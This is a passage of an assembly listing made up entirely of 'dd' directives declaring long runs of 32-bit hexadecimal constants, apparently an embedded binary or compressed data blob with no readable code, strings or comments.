6456FDA2h, 46637F34h, 0F65CEB71h dd 6F73AC80h, 3379BA8Eh, 0A35966CAh, 97C680FDh, 0C2300C26h dd 470175B0h, 8C03372Eh, 8F23751Ah, 0E523E51Ah, 0CC264EA9h dd 0A11EE47Fh, 9ABF228Dh, 3FAA672Fh, 8967A40Dh, 47F84418h dd 9B572097h, 0F139D1C8h, 20D4CCADh, 0C4FCD90h, 0B9DC2C03h dd 0A450E35Bh, 0BADE722h, 965223Ah, 4A976CBEh, 0D0C475FEh dd 0A9A7A8E9h, 11E0F975h, 0BFC93087h, 0E78BC0E7h, 0A7026E6Ch dd 4B69D46Ah, 4B4606E8h, 0E8AAFC47h, 56D7D39Eh, 98E5E8FAh dd 0D660F151h, 0AF7954BBh, 26953451h, 0C0D39E83h, 0CE62AA24h dd 4AC436C5h, 7DDFA1B2h, 80DB02C0h, 873B6D3Bh, 3081D8C3h dd 3C75E615h, 231215D8h, 0C363568Dh, 747D5E4Fh, 353B0905h dd 6883745Ah, 0F24D7FD4h, 3A19078Ch, 97B89E94h, 0C1B66C06h dd 4FE2B766h, 6A3A0394h, 0F5FEFA46h, 4E670481h, 0A950CCFDh dd 56DE3D14h, 0D896196Fh, 7F554092h, 1F064EA2h, 729CF610h dd 31493588h, 0C7FB7DFh, 579E5213h, 6CA85DABh, 0EACD4D72h dd 18311228h, 4FA0A654h, 0BFDE72D0h, 76A7EF8Fh, 82ACBAF3h dd 4ECFA9B1h, 0CA48C1AAh, 0D1840DB5h, 7AE4C1E3h, 3CB05688h dd 2DAC4C12h, 0BBD73245h, 0B5C41238h, 1DD30F3Bh, 0A22B8D9h dd 5DD5D6ACh, 778C9798h, 0DC719291h, 753B1595h, 885FE0Bh dd 0D58C8F3Eh, 69EE954Fh, 0CCC129DCh, 959D9B20h, 0F2D27F65h dd 0CA9FDB20h, 2D20FE85h, 45DC4534h, 4D0BC8DFh, 0C79B7AB9h dd 80873E88h, 10F259E0h, 81802AA1h, 0DF9FAF96h, 1344E833h dd 2176437Ch, 0DE9B957Eh, 808EEE33h, 5BA63452h, 1FC1D66Ch dd 3BF10886h, 0CA071054h, 0EAFEC65Fh, 21FBF536h, 19ABD828h dd 688D7C2Dh, 0ED09D808h, 283862E3h, 8505A061h, 71571F0Eh dd 28A7D201h, 5CA7EB1Dh, 0CEEA2177h, 7A214568h, 0A95F555Dh dd 704AC704h, 0B4E8E2E8h, 31264A01h, 346578B2h, 15760086h dd 0AE91A77Ch, 72694B2Eh, 0B776DF3Eh, 5112FD1Dh, 64065459h dd 0D4706700h, 0F63276B5h, 28D106F9h, 0C774B33h, 0F636582Ah dd 0C8A3260Dh, 5FD1E66Dh, 65480D0Bh, 0D73A96h, 0EA51459Ch dd 45C9316Ah, 808B37F5h dd 0EA214BEBh, 0E71A928Fh, 8B7F7556h, 0CBEDC6BEh, 0CF460253h dd 0EC53B15Dh, 0F659545Dh, 0ADB92127h, 534C5AEEh, 0BCC59653h dd 8EE32D8Ah, 0CB6ED3D6h, 1B71272Ah, 460704B0h, 2BB701A8h dd 5616BDF9h, 0F31644A7h, 5DA2B6C4h, 0BE8CD2FDh, 0B01BDAF8h dd 0D186629Dh, 8AD15B58h, 17287340h, 0AF4A85B5h, 3CEB0DA0h dd 1A9516D4h, 8820F89Bh, 6F60E41Ch, 1C569B4h, 208B06Dh dd 0D552E0BDh, 8CA8BA3Ch, 0D06A2EF2h, 0D1250C8Bh, 193D7B2Eh dd 4723B760h, 11AC050Fh, 47D60B73h, 0F2221812h, 30AEC6BEh dd 0A2D8164Ch, 8110F2EAh, 84DCD7E7h, 0F7F2B261h, 935922A5h dd 0F1A5BBCAh, 410952Ah, 0F6254311h, 87A4703Ah, 0DC020649h dd 179884A1h, 0CFC565FEh, 108CEAFDh, 123DC242h, 92FC338h dd 4B708026h, 421882EEh, 0A7F24897h, 4D01B657h, 0C0BB0B10h dd 3F6F14D6h, 2D930F04h, 41138083h, 9271B017h, 4FE596CCh dd 4345D147h, 0DA2FA361h, 0E5D3A40Bh, 86523B7Eh, 0DD2BA2EAh dd 0A15F3EE4h, 654A19F9h, 1CB54241h, 87518DBBh, 0D183DCF7h dd 0FC77D217h, 0FA4C182Ch, 0E8451284h, 3E13D7F9h, 0BE416013h dd 3C60B0F0h, 0AE91D7F2h, 64FC1D95h, 0A2A384AFh, 620DC437h dd 4DE8B714h, 1CBB4773h, 2C8B3B18h, 3AEFCC17h, 3BB03762h dd 0EF69851Ah, 0D506C8B3h, 0A6CDD8EBh, 30221BE8h, 32E7044Eh dd 0FB6FBB70h, 5D6982CAh, 40C2DECh, 2A775D02h, 0B477E509h dd 0A474294Ch, 0D5833A2Bh, 0CC279085h, 376E9C6Eh, 56745672h dd 3243D2B1h, 2AB25101h, 0A843C29Ch, 0D01EB71Bh, 0F22CF33Dh dd 0A6748498h, 0DAEA6DE2h, 19E0DDA8h, 54FD9E7Bh, 0CB580694h dd 5851C589h, 9C6071D0h, 38D6F724h, 9AD83E5Eh, 0E37D5E40h dd 4756EAD8h, 7F10199Ah, 749BC531h, 8BC520Bh, 36CA80CCh dd 0D8AEC59Bh, 0C296745Dh, 0A277218h, 0B421DE04h, 0E0B24697h dd 0BAE9D5AEh, 98E24552h, 8293557Ch, 0FAC5D9Bh, 0D4477678h dd 0F141E63Dh, 1CD565B4h, 3A9FC73Bh, 0BDAB4223h, 9A92C4DBh dd 0E9A2C587h, 38C71108h, 0FF23760Fh, 2629E97Ch, 4C4238CBh dd 60177B1Fh, 7DCDD712h, 6647B676h, 0A79F7998h, 0EAF76FA1h dd 0ED4BC442h, 0D3CFBFDDh, 0C072B764h, 5501E268h, 62EE3F66h dd 35CE5EFBh, 4B7BC38h, 51C41D8Bh, 206AD488h, 5B069202h dd 0C8CCC581h, 0C1B003B3h, 272C2A28h, 1101FE8Fh, 8B05F323h dd 51BE7468h, 76047981h, 0E656BBDAh, 2303459Fh, 63490A2Ah dd 0CC58F63Dh, 0C5CD182Dh, 603E91C0h, 4256F4BBh, 3574174Ah dd 0B27823Dh, 0A48AD8A6h, 5202F0E8h, 752FB23Dh, 15A74E60h dd 0F045C749h, 201C00C5h, 0F458C942h, 6889118Eh, 0C3C91872h dd 9938E060h, 8A77624Fh, 0FACCEB83h, 76C41167h, 0F07C064Eh dd 94307343h, 13C9106Fh, 9946506Dh, 6313423Dh, 3D719A26h dd 2659C9A2h, 623D4696h, 0A29213C9h, 68F14949h, 0A3C279FBh dd 0D01B8079h, 0E7E99891h, 80C30309h, 442E1006h, 513879FBh dd 968E5D19h, 0CD3042E8h, 65A1A31Eh, 9B06553Ah, 0D38498D0h dd 1A7B8368h, 426CDA78h, 19404469h, 1369394Fh, 0E51135CDh dd 0D78E09Dh, 0B3DA58Ch, 0E98DC03Ch, 94F17F22h, 0CB0DF77Ah dd 233101A2h, 45F3DDDBh, 0C25B71CCh, 786159Ch, 5D265315h dd 90370D32h, 0AA6ADBFEh, 8F5216CBh, 4D2E6CD4h, 0F59DAB0h dd 30892D57h, 350DCC1Ah, 785D24FDh, 0D3CECB9Bh, 0D4043228h dd 0DBD22E83h, 0A629C1C3h, 0C417B092h, 0D53BBBC4h, 672B4462h dd 1446D6B4h, 0F5B15Ah, 2454F9A5h, 1F6C259Dh, 1AF28A28h dd 7EA7ED07h, 0FA617EC2h, 23D41337h, 71DDD345h, 0FFFAA4D3h dd 0F67FB781h, 0E79B1F81h, 0E8EA0ABAh, 0F694A443h, 72288142h dd 402F8FD9h, 262C641h, 1B7C6A0Ah, 8C21F8D0h, 5F9C2E8Ah dd 651A8269h, 0DE481C03h, 0E4DA4301h, 446FF433h, 37C11403h dd 7F03B3D6h, 0F0499E63h, 21855261h, 4809D5A2h, 0EF57B7E0h dd 8B8A659h, 88B17DDBh, 0C764CFDEh, 31019890h, 0C2256D0Ah dd 5A20C0D2h, 0D6F17585h, 49FB7405h, 87210639h, 0F25609C2h dd 0E780F057h, 323095F2h, 4E4EECBBh, 251131h, 62351414h dd 6B466D7Ch, 41602FB1h, 829063ABh, 7161750Bh, 6F959553h dd 58882EC6h, 331334F2h, 71AAFA20h, 50E3EB8Ch, 0D0DD92C4h dd 0A24530ECh, 156964EAh, 0B7CE0F29h, 0AA21ECFEh, 0C0699ACFh dd 72D8E019h, 0D06040C8h, 2405F8D1h, 88894FAAh, 2C7C7F11h dd 65CA5442h, 30957114h, 7395A12Ah, 1988BFC8h, 0B262FC43h dd 0A1FD42B0h, 69406376h, 60628BFEh, 1F5516D1h, 168C2DB7h dd 421FFC7Ah, 66383118h, 0B2013464h, 28048131h, 80367B1Bh dd 37BCC6Ch, 0D184D0BFh, 0A831335Bh, 127440E3h, 0CE326AE3h dd 0A48618Ah, 8C5D8D3Ch, 2347E334h, 88F0368Ch, 2AA911C3h dd 0A60EF5B2h, 55C2F8F8h, 6C4F5E25h, 918E8D80h, 17564089h dd 8B1C8AC2h, 400B07CFh, 80997903h, 6D8DA9Fh, 6F638E30h dd 208DE3E0h, 0A7318F7Ah, 753DECF8h, 328D06CCh, 288C104Eh dd 88235442h, 0C3885D36h, 288C4511h, 1D4AC5BEh, 501E40B3h dd 1C439F44h, 27A9572h, 0A720AC03h, 0E4E6658Eh, 4571E495h dd 57F3095Bh, 0E8E89E86h, 49E6799h, 118662F3h, 0C1B638E2h dd 0BE833998h, 69AB3B75h, 68424704h, 106918F9h, 60BA4B08h dd 0DE3B0B04h, 513F379h, 90845828h, 0D444218Bh, 0C5D3E328h dd 34312188h, 8B346842h, 7EBD1C38h, 491A2717h, 0EF83D633h dd 0E257CEB4h, 8A310FC1h, 44F98E4h, 0F8048591h, 84045AC7h dd 13B6CFD9h, 996F4C07h, 5344278Bh, 0A702424h, 0DB8C7A06h dd 7F7FDB2h, 582F5E6h, 967A1B09h, 11A87D90h, 0E4FBE36Ch dd 3D303500h, 280F6C70h, 0EC07560Bh, 81037AF2h, 346D8BDBh dd 5DEFFB0Fh, 9F668A4Ch, 5D5981A0h, 27E15B74h, 0BA4A5748h dd 44431BF8h, 196E4302h, 566DE48Eh, 0FEDA39E5h, 0C4809A80h dd 51A9A218h, 5D65FBDDh, 4CEBFAA2h, 0DF9A0C31h, 16D528FEh dd 208C4414h, 0D0E00EDAh, 53102B78h, 0F8A3BB26h, 54F45920h dd 8E058AFAh, 70C013ECh, 34CA5D2h, 2CF6BFD4h, 6F291CFAh dd 5CE2A317h, 77B98DEh, 0DACE9F36h, 462D184Eh, 0A22FA22Ah dd 0D3F61A0Eh, 4685697h, 5F6DA71Fh, 0D0227C5h, 3408DF3Eh dd 0C0707013h, 0F2D8044h, 0E0F6D025h, 0C8CFE686h, 13414F22h dd 404D2E03h, 5180191Dh, 407B9A08h, 60C1E040h, 0EB1AD77Dh dd 99FC4C52h, 92F6A771h, 40BA9E30h, 14DA0FF1h, 8A224A18h dd 0EB285D74h, 6A27B57Eh, 661F4D1Ah, 0ECF305D3h, 121AF946h dd 90F24058h, 4A436D51h, 0ED2C0CDCh, 0A4C11409h, 230020BAh dd 0A0D6868Dh, 9390F30Bh, 8D945020h, 8194337h, 24F32F13h dd 673A4CDFh, 0CF83E08Eh, 45988893h, 9D583EFBh, 474617F9h dd 48C016D8h, 0A1A60BB2h, 0B681C2A1h, 8AED022h, 0C281F34h dd 23D462FEh, 259034F1h, 0AD584834h, 19B34C69h, 0AD8FA41Dh dd 6FCA1D03h, 1D65A51Ah, 0D68AE22Bh, 8E98B93Eh, 0C7AE834Eh dd 628C455Ch, 0D96A28Ah, 0E22F622Ch, 302F9449h, 0DD0831BFh dd 6D25E39Eh, 14A6604Eh, 0C8144237h, 0AEB69D46h, 0B181610Dh dd 8C7B7B44h, 45C67543h, 3C9D2E19h, 9D0AD957h, 497363Dh dd 0C50177D4h, 5FC199Bh, 0F9822546h, 4975012h, 0E4552F14h dd 345CBD3Ah, 136FB11Dh, 0C0B35D71h, 0CE888268h, 0B8CB30EAh dd 0A7D5E678h, 3E1E19ACh, 158FA812h, 91F0E250h, 4B331DC0h dd 2E8872B1h, 7AAD6988h dd 59ECC5FAh, 9167AE00h, 9D345674h, 2D288729h, 4F785488h dd 0A6076D28h, 795B3C9Eh, 7AB77453h, 1AD30952h, 0B5FB2938h dd 453EE704h, 52F751D5h, 699694E5h, 8DDF95Dh, 0BF57C1CEh dd 9096220Ah, 0E50BE802h, 0B5232131h, 0C6ED3B09h, 3E73F4E0h dd 1BE83CFDh, 0F84C4C79h, 513FC039h, 0D804FE26h, 480F4A17h dd 0A034D40Ch, 2848E077h, 7C72AE78h, 90138917h, 0FF1D708Bh dd 8C75039Ah, 181AB3B2h, 0CB163AC6h, 0E0D0457Eh, 0FB04853Bh dd 7218A5A0h, 84534B2Fh, 0DFC410BFh, 2F5E688Fh, 9280E67Fh dd 3CD18Ah, 0A5D38814h, 913FF70Eh, 0C7AAACFAh, 0C8F881C2h dd 1E1E0713h, 5AB86DF5h, 4FBE60FDh, 5C6F8901h, 7ED19FB4h dd 77C4CF2h, 6EF42E94h, 91250F72h, 55A84C7Eh, 0AEF3CAEAh dd 0C3466A4Ah, 0AA1E4CD1h, 0FD3DBF8Bh, 0EDFC6D48h, 2E6959E9h dd 4EF3039h, 19453C0h, 1120C2BEh, 23C7F126h, 0A2297E9Ah dd 8EA2516Fh, 303F3047h, 0E3A8CC4Ah, 0F69D4B11h, 8EA7B7C3h dd 33FB2847h, 0F1703C49h, 2BB31E0Ch, 5A398FEDh, 694CC482h dd 0F4638B19h, 34D75ED5h, 0D6458367h, 0B6C0FBB9h, 9EBE2C15h dd 151EBE7Ch, 0BFEAE8F8h, 727FB155h, 0D558A6C0h, 4509E687h dd 0A68C64E5h, 0F303199Fh, 0C97A15B5h, 38070455h, 0ECC460B2h dd 57708C16h, 8A2A99Fh, 47553EB3h, 9519B77Bh, 0B5F04281h dd 2DC5A702h, 2E51A6C6h, 0B475A27h, 0C5BBC608h, 0C12F3ACh dd 0EA5A7BA8h, 48B8A87h, 0E8B90226h, 68B563Ah, 7A48464Ah dd 16397311h, 0C5779411h, 0DC12D845h, 4DB713F6h, 46AD776Fh dd 0B73DF57Bh, 87BC7747h, 16EB3E8Ah, 0EBCCBF1Eh, 0EC2FD534h dd 0D8FBF29Bh, 0D1BED3D3h, 9014FBF3h, 66F50634h, 2F707064h dd 419D189Ch, 0CCDACB30h, 62E882AEh, 637DDB44h, 3370A098h dd 1BE077Ah, 0DE6C346Bh, 0D67BD567h, 5E4BE190h, 80DC5FF3h dd 39EF9505h, 0D2B9E08h, 256A7220h, 0C269C954h, 7C23E06Ah dd 0BCFD40F4h, 0DE9EC8F2h, 94A26E3h, 255D0214h, 3DBCB811h dd 0E07A9476h, 0C2BAF7AEh, 2E30816Eh, 610C2BCEh, 1C15D1B7h dd 0AB0634D9h, 90DE0D82h, 7A874CF2h, 6D00F49h, 0DEBBC34Eh dd 661843C0h, 0E30AE524h, 143B464Ah, 7874EE98h, 488FA8F0h dd 2E0F1576h, 0EC1721FDh, 0BFF1E1F6h, 4DA92C44h, 5C5F560Ch dd 18138398h, 0E1B6C60Eh, 65D80385h, 5A948EE7h, 0D2E914Fh dd 0BB8C8B98h, 0F72233DAh, 0DB52DB4h, 0B993B65h, 52C3A9Ch dd 0BB67C07Ah, 0DCAFE812h, 7D9D36D3h, 39ED66AFh, 45C0905Bh dd 0A2576051h, 0F463CA60h, 0ECC1B1ECh, 57C547F2h, 33003B2Bh dd 1C8F9814h, 24D27230h, 0CB097A77h, 50C56720h, 0C1898B54h dd 820CB2E4h, 0D424A449h, 4A1D6114h, 0E833A27Eh, 20794AC2h dd 863F23A5h, 190BEA9Eh, 0BC31CF94h, 3ED3C60Ch, 5CE3FBh dd 0E51D6685h, 35D43867h, 33028481h, 2E7489A9h, 0F343E62Ch dd 0CFAC9803h, 4714E244h, 2487CA60h, 0C1EC7E85h, 3340BA6Eh dd 0E045681Ah, 692A1EA7h, 1F0323B0h, 534AC00Ch, 0B0E1CAF0h dd 8FDBF833h, 0E3E582DCh, 28010457h, 8670401Bh, 0C916B979h dd 0DD843D01h, 5403C1Dh, 71834C56h, 28CBF983h, 2AE755B4h dd 62DB881Eh, 0DB43CE31h, 680C71B8h, 8831CBEFh, 0AA81509Fh dd 99829C2Ah, 0FBA498D9h, 94A0F6A8h, 6E215989h, 49980487h dd 0C083B64h, 79FCD461h, 0CC4C5C42h, 37CE8626h, 5DC4A15Bh dd 331A2445h, 3AB76F80h, 9FCECA02h, 754D0906h, 0E661609Dh dd 24CAA8C9h, 81563CB2h, 660030D1h, 280760D0h, 800DEE19h dd 80D517AFh, 793D602Ah, 52548663h, 4CCBDB67h, 523CA1F8h dd 0B8048D8Ah, 0A00FCA7Dh, 3234CA7Dh, 9FCF301Ah, 1740958Bh dd 0ED4676AEh, 811623AEh, 96B02431h, 2936E311h, 8AA23AE4h dd 39D29F26h, 35875330h, 0D312EF5Eh, 0D7F4C986h, 11E39437h dd 46119431h, 9A67080Eh, 24C8282h, 3FA6E950h, 0D8856833h dd 7C7D4352h, 604DF2FFh, 0FD0DEB42h, 0D98E48FDh, 6D4C2B07h dd 0E9A1479Ah, 3104D03h, 0A8A601DCh, 651306A1h, 0D46633B0h dd 81EF15D1h, 18AF57CBh, 4CF3A70Eh, 12292DDDh, 22C523CCh dd 0CCE0E788h, 0CAE0EA3h, 0E30467D6h, 9488E620h, 6B0C9303h dd 50A08B03h, 8F417DA3h, 5A145095h, 0A37B239Fh, 20D85A0Ch dd 87454631h, 817A1B3Bh, 62C02295h, 4702E315h, 0E38AADD0h dd 8907BEDBh, 0BE32BE4h, 283755A1h, 1597C803h, 0BE883CBBh dd 2D1ED732h, 95462337h, 9037D122h, 5317173Ah, 80CC0198h dd 1591F5DFh, 732FECBFh, 6945B2CBh, 8163CB75h, 9DB6994Dh dd 0C56E1A2Fh, 6F8A2833h, 0A1C861D5h, 0BA4C3F7Dh, 87C8F1E8h dd 0F829CD0Fh, 0ADD01217h, 0EB39F92Bh, 0F1442ABh, 35E8306Bh dd 66285B36h, 4788FB52h, 0BEAACA74h, 6ADD9F82h, 5EFB6AAEh dd 4D557945h, 4E06C395h, 45A95157h, 0FC9A8191h, 22161047h dd 9E5556FAh, 3AB15D4Ch, 874ABEE4h, 0B4094490h, 0F2E1ADD0h dd 443B734Ch, 63B504B4h, 0AA694B99h, 260AA6BEh, 31287F2Eh dd 7CA98EFDh, 0BDD2AAB7h, 46A35160h, 555F80B8h, 5D830666h dd 2E4EB6F4h, 0DE829CFCh, 9FCF2CC0h, 330CC8B9h, 0A47BE8C7h dd 1F302CBEh, 0E2158B0Ah, 87C8E67Dh, 0E7989577h, 9190DF3h dd 0E1D7D966h, 57225516h, 1EB4203Eh, 0FB0B76B5h, 7715661Dh dd 99DF7CDCh, 8AFFF686h, 0DFA2B0F4h, 327FBF58h, 4650EF84h dd 0A817E6B5h, 180E018h, 95A857C6h, 95AB298h, 0D6B30869h dd 0B9D3361Dh, 4053AD27h, 55E2305Ah, 26004BD8h, 7A03830Dh dd 0AAEAF60Fh, 0D79550ABh, 0B96E948Ch, 0AB80F8C5h, 1F58E07Dh dd 1ED08A7Eh, 0A756ECA2h, 76CBC201h, 0DF947607h, 5F49A7C5h dd 0D109BF4Eh, 1C026A82h, 2A590C8Fh, 579BBBFEh, 21682D6Ah dd 0F136C5AAh, 0DAB7A42Ah, 4BE7D5E5h, 0BEDB180Eh, 6AB2A934h dd 1CC355F1h, 0E053921Dh, 0A708D808h, 25F63445h, 0C1EEB4F1h dd 24E8ED5Bh, 386945C6h, 0A69FB2EBh, 6122CF5h, 433D9F03h dd 311095EFh, 180FAAAFh, 0B0BA1152h, 94C2151Dh, 0E84CEADDh dd 0FDF60E86h, 0DFF71490h, 4ED2120Bh, 0C5052AE9h, 0D82FD604h dd 0BB1F2058h, 0B2A9517Fh, 0B9B19925h, 0B68112C6h, 32889ED0h dd 0F0663673h, 39B05C97h, 5256C57Ch, 0E2200864h, 3DE96B0Eh dd 262F0E79h, 0C3623A9Bh, 0F2D35BD2h, 2A028AB2h, 6A0CB553h dd 9B364632h, 0A3A0B7F4h, 0E65C03C8h, 0AAF8108Bh, 0C764693Bh dd 0A7A90FA8h, 0AF5E0ECAh, 2CA900EFh, 0AB5BEE67h, 0AE76811Fh dd 0F7220B0Ch, 40774DDCh, 95D41757h, 32960098h, 26B9D0C9h dd 50959F76h, 0CB2283D3h, 0DA33E684h, 5A311C8Fh, 4547838Ah dd 0CB05C37Dh, 0A316E23Fh, 3F1C9022h, 30CB8CA2h, 6446FE52h dd 0EEABF95Fh, 8AABD154h, 359FC73Bh, 4663002Ah, 0FE4B127Dh dd 89E94E1Fh, 0DEE2CB8h, 88DB7DE0h, 623611B6h, 488D046Dh dd 0CE23A11Bh, 0B288A046h, 6C626611h, 4041D904h, 0BC205CC2h dd 11AF8803h, 846B0DE0h, 0B00388D7h, 0EB2AA04Dh, 92429519h dd 4C0F0D4Ch, 217D2E51h, 2361A40Ah, 0C7731968h, 0F9186020h dd 1A15F64Ah, 7D9DBE20h, 0C318F093h, 35B122A1h, 0C2731B82h dd 53C51AD0h, 9148C009h, 9429D124h, 31865A9Eh, 5F7F9100h dd 0C2174CFAh, 4F5D8810h, 0A257D0BCh, 0A88040B8h, 7D3E01A6h dd 88A82D74h, 0F937A29Dh, 0DFE60642h, 6C815FA7h, 1580E05h dd 0A372F191h, 0C256840Fh, 210874Eh, 1395EF08h, 4236A5BBh dd 402180C4h, 33EF0911h dd 0D8C13A94h, 5BE1DA27h, 83D29523h, 15D84418h, 3D14A756h dd 8DD8C310h, 874A20h, 0A0B1622Dh, 4498A7EBh, 205B02D1h dd 7C129F66h, 4D112C8Bh, 66218C04h, 941D037Eh, 0DA033A20h dd 4C5F2865h, 39CC4E13h, 46401ABCh, 9F557E16h, 399F9AC0h dd 4CBEEAD5h, 8CD3FD90h, 154695A3h, 1C4814C3h, 61D40CA9h dd 38912895h, 38938E30h, 15108472h, 0D68816EAh, 6BA262Dh dd 0B9D1271Dh, 0EC93A31Ah, 85F6F593h, 0BE2862EAh, 68C2D8B7h dd 4E88D1C4h, 0EEA72D14h, 52BD2753h, 9ABD933h, 801B5F63h dd 541188D5h, 0D484AA23h, 3501A988h, 8D386A22h, 234C1A78h dd 8D2469Ah, 9AD411A5h, 0A4274642h, 22906AA0h, 0B6018CAFh dd 45ABE17h, 0C3266634h, 8417406Fh, 0AE3D5B28h, 0E1474922h dd 786E16B9h, 6E0C1742h, 0C6D5C85Dh, 0AD1D69D4h, 89454F54h dd 8BE40EEAh, 6ACE1104h, 87BC41Dh, 413ED8ADh, 34071E1Ah dd 4C2F007Ah, 758A5ECAh, 1847DABDh, 8B8A2ABDh, 9CBAE2BCh dd 5557BECAh, 0D7723A08h, 0C76F2486h, 858A7850h, 0CFDDC31Ch dd 48396FC1h, 37174FF7h, 9F920FDAh, 0B1733A0Ah, 463E12D0h dd 305E411Ah, 0C6DA383Bh, 0F06D6268h, 6B40C4B8h, 0BA43A2F9h dd 0C9227908h, 6627017h, 0E1A0C2A1h, 42E40D81h, 0BF64E056h dd 1BA43AA9h, 0EFCA2110h, 8B1A1EACh, 0D13A8303h, 4D386309h dd 1086417Ch, 2682F28h, 0C24A15C3h, 983C2A8h, 0E8C08591h dd 0BDDA830Dh, 2BE454h, 1B0B18C7h, 0E503AC6Dh, 8D148215h dd 24C4A380h, 0D1D0468Ch, 81470F69h, 0E1B12223h, 12042065h dd 7DC3AA87h, 60260FAEh, 51806416h, 7C51545Fh, 42E6C4F6h dd 27FA4DC5h, 8015ED28h, 40000E45h, 6000C224h, 70000001h dd 434A0041h, 1000h, 0 dd 20C4AFB0h, 12244046h, 4494C92Ah, 325584ADh, 495E92C8h dd 25A24BE5h, 7C4001B6h, 0D7A020D2h, 8E312Ch, 25684ABh dd 4953129Fh, 25284A30h, 94192FC5h, 0E50F625Dh, 0C4BA0970h dd 92DA25A0h, 4B8C1037h, 0C4AD8955h, 92A52520h, 4A1497F2h dd 0F087A004h, 7C097312h, 0DF25A84Bh, 3494CAFCh, 872AF687h dd 692F625Fh, 0C48E898Fh, 0C07480C6h, 2C023264h, 0A8495712h dd 0B6257E4Ah, 682C39A0h, 21C72560h, 0BE215001h, 1A225384h dd 0A3C94492h, 0D95EDB93h, 3E0DE17Eh, 460836h, 31A011B1h dd 0F0D6004h, 7B17642Ah, 434801h, 19D25304h, 0A4C94712h dd 8925024Bh, 0E57743CCh, 97512E02h, 5B84B609h, 6A12CF25h dd 944B1095h, 0F92BA256h, 0C4AC8957h, 12AA254Ah, 4A8094E1h dd 29725244h, 0A3894492h, 8425FEBBh, 21F64BD8h, 97892F25h dd 0F5AD3390h, 1980023h, 610B38DAh, 1740046Fh, 0C96292D9h dd 25C05313h, 0A0816397h, 113E945h, 928AA502h, 4A269415h dd 28525174h, 0A1894CD2h, 0B7A5384Ah, 24940D2Bh, 825094A6h dd 89419285h, 0A5104A10h, 94512BA2h, 5114B04Ah, 8539021h dd 0B9808C35h, 0A838012Fh, 54402D2Bh, 0FF005A4Eh, 528046BEh dd 2200C08h, 572CAA18h, 0A2A8E79Eh, 0D54123FDh, 11006E2h dd 810F6C04h, 7E172420h, 0B6F42717h, 3430C043h, 0E0EEB100h dd 0C688C189h, 0C0B930C6h, 337D27h, 61851E0Fh, 22AC289Dh dd 0E6485C84h, 5CD17241h, 734F03CAh, 50C29482h, 0B938CC1h dd 12B83126h, 8CB9DB0Bh, 7B0E1BC0h, 21142E28h, 10C092E8h dd 0B0C4DA8Ah, 34429104h, 0A42C3906h, 1641972Ah, 730A5B00h dd 41BE5D60h, 2CC8D765h, 1E28A5C5h, 6548D30Ah, 66392FA2h dd 598BA239h, 70BE2041h, 98164280h, 0C51DE605h, 1EC050DAh dd 11EDD3C4h, 9050CE11h, 0EEC028F4h, 28660C2h, 9D3EBF21h dd 0C8B8956Fh, 87679A17h, 0DFEDD408h, 0FDD2E563h, 0B85E40A3h dd 7C896CB2h, 0DB90C89Bh, 0B6D84D12h, 0B7D8D0AFh, 1BB35CACh dd 0A480832Eh, 905C984h, 0DF0512DCh, 5DB2028h, 2E6ED270h dd 0FD988D0Ch, 0DD8C2E6Dh, 64732135h, 732837BBh, 615BB081h dd 4D90420Bh, 0D944D089h, 7020BB85h, 0C1C131A6h, 1405EDCh dd 0C0A6AE81h, 9B80E2D7h, 466AC364h, 53600200h, 5C242413h dd 0D321D16Fh, 0B48406D4h, 460908A5h, 0B86108F1h, 45080340h dd 0A35D01AFh, 99B733C5h, 0C068CCB6h, 0A80069CDh, 882B59B5h dd 24D9ABC5h, 0A4787E24h, 6BE3C96Fh, 1E0A0B4Eh, 165B480Eh dd 11E50200h, 320165C2h, 0E862D029h, 1646E72Eh, 4A24DA60h dd 50B11AB3h, 896DA07Fh, 81F0123Bh, 902BB36Ah, 0A8F2713Fh dd 2533A056h, 68358A80h, 618AD02h, 43D2992h, 407B4904h dd 2CF4098Ah, 9370DDCCh, 0D0F11E99h, 0B1D12777h, 17823965h dd 0C9814BCh, 2D645D9Ah, 0CD6239B0h, 38376F34h, 0D2267008h dd 0C2833088h, 48DDD940h, 0F292D1C1h, 2A1DE095h, 1AE56104h dd 8A435261h, 1A6D4EADh, 43A95525h, 0C060D854h, 0A14300FDh dd 692DC60h, 7A814CCAh, 0BF3328C3h, 5F08D12h, 0CA160A2Dh dd 146B480Ch, 5048C3A0h, 75303002h, 0F2E2F062h, 0C5750605h dd 405A5CA5h, 20A39A32h, 0B846A303h, 0AA0B85B5h, 0A403E0E9h dd 50322881h, 10490A48h, 70034283h, 0E28C040Ah, 0A4A064C2h dd 0F535A6C3h, 26EF2311h, 2A7A94Fh, 315A5D60h, 347188A6h dd 9DB219B6h, 0E7D39ABh, 0E189BBB0h, 0B633300Ah, 33B44A1Dh dd 0D6E4483Dh, 0C31F549h, 5398D58Ch, 58770441h, 0B44A2A96h dd 350C3A1Ah, 31CC3C08h, 0E2C0F0B3h, 3449691Eh, 823606BEh dd 14A19AB5h, 6169C637h, 0A175B85Bh, 2D27C155h, 0B53A74CDh dd 9E28A031h, 0C208B11Eh, 840AA682h, 94E5A0F8h, 241510CCh dd 0BC0EAEB4h, 7CD0EC54h, 3CA99615h, 314A287Eh, 5BD664A7h dd 0A1C062E1h, 79514335h, 0E45A7D19h, 49330154h, 6D41B21h dd 22ED58D4h, 881530FBh, 6705546Ah, 2E42E179h, 69AB7211h dd 55336260h, 0A1D944B4h, 846295C5h, 0BC17A28Ah, 4B29542Bh dd 6D1C0AEAh, 23073535h, 0A9B99C0Fh, 483955D4h, 9C2C8B23h dd 173641E2h, 3BF81DB1h, 0C9F6031Fh, 0FC0AA6DDh, 8B312296h dd 0C6C8669Dh, 2C213949h, 0B75995BDh, 6EF82555h, 94ED2E76h dd 93F6E6C8h, 1121808h, 4DBA5B6Eh, 0B0C5725h, 2EBBF482h dd 0C3858834h, 14EDCA9Dh, 0D1A2CBABh, 6C5460AAh, 174376B3h dd 4F00953Bh, 8585BFC1h, 2A582DAh, 8725D9AEh, 0CBCDC03Dh dd 7AA084D8h, 0C58ED62Ah, 175B738Eh, 0C66A0551h, 322C979Ah dd 80080FE2h, 0CC429340h, 6C07EDC4h, 130092F2h, 0F0F0C39Ah dd 6BADCC4h, 9A0549B9h, 0D0944516h, 467392Ah, 92D40B1Ah dd 726D08C6h, 4220FA90h, 0C136A50Ah, 5E8362E4h, 52DC954h dd 0DBE26D78h, 8E3D4A20h, 46985F42h, 34752680h, 0ECBB317Eh dd 0CA770A38h, 732DC44Bh, 40EAB6E6h, 8F2E156Bh, 49ABBD3Eh dd 0CCB08357h, 0A054D610h, 5A9CA513h, 0C0D249A6h, 8B3A8716h dd 0CD492673h, 8C031A82h, 0D9096EBBh, 